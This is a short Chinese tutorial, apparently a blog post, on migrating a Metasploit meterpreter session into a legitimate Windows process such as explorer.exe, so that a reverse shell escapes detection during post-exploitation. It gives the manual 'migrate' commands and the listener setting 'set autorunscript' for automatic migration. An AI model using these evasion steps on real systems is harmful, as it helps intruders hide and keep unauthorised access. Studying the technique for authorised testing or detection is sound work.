通過msf得到的會話容易被發現,導致后滲透失敗。因此我們可以把shell的進程遷移綁定到目標機正常的進程中
- 手動遷移
- 自動遷移
手動遷移:
首先反彈一個shell,在meterpreter中執行ps命令查看目標機器的進程。x64_8080.exe是我用msf生成的payload,在目標機器的任務管理器中也可以看到該進程。
我們可以使用migrate這個命令將進程遷移
meterpreter > migrate
Usage: migrate <<pid> | -P <pid> | -N <name>> [-t timeout]
Migrates the server instance to another process.
NOTE: Any open channels or other dynamic state will be lost.
migrate的參數可以是pid也可以是進程的名稱
我們將進程遷移到explorer.exe(任務管理器)中可以執行
migrate 2228或migrate -P 2228(pid根據實際情況而定)
還可以執行migrate -N explorer.exe
在執行ps命令,可以看到之前的x64_8080.exe的進程已經看不到了
自動遷移:
自動遷移指一反彈shell就自動執行進程遷移命令
在配置監聽器的時候可以設置
set autorunscript migrate -N explorer.exe
或
set autorunscript -f
第一個是指定遷移到哪個進程,第二個默認遷移到notepad(記事本)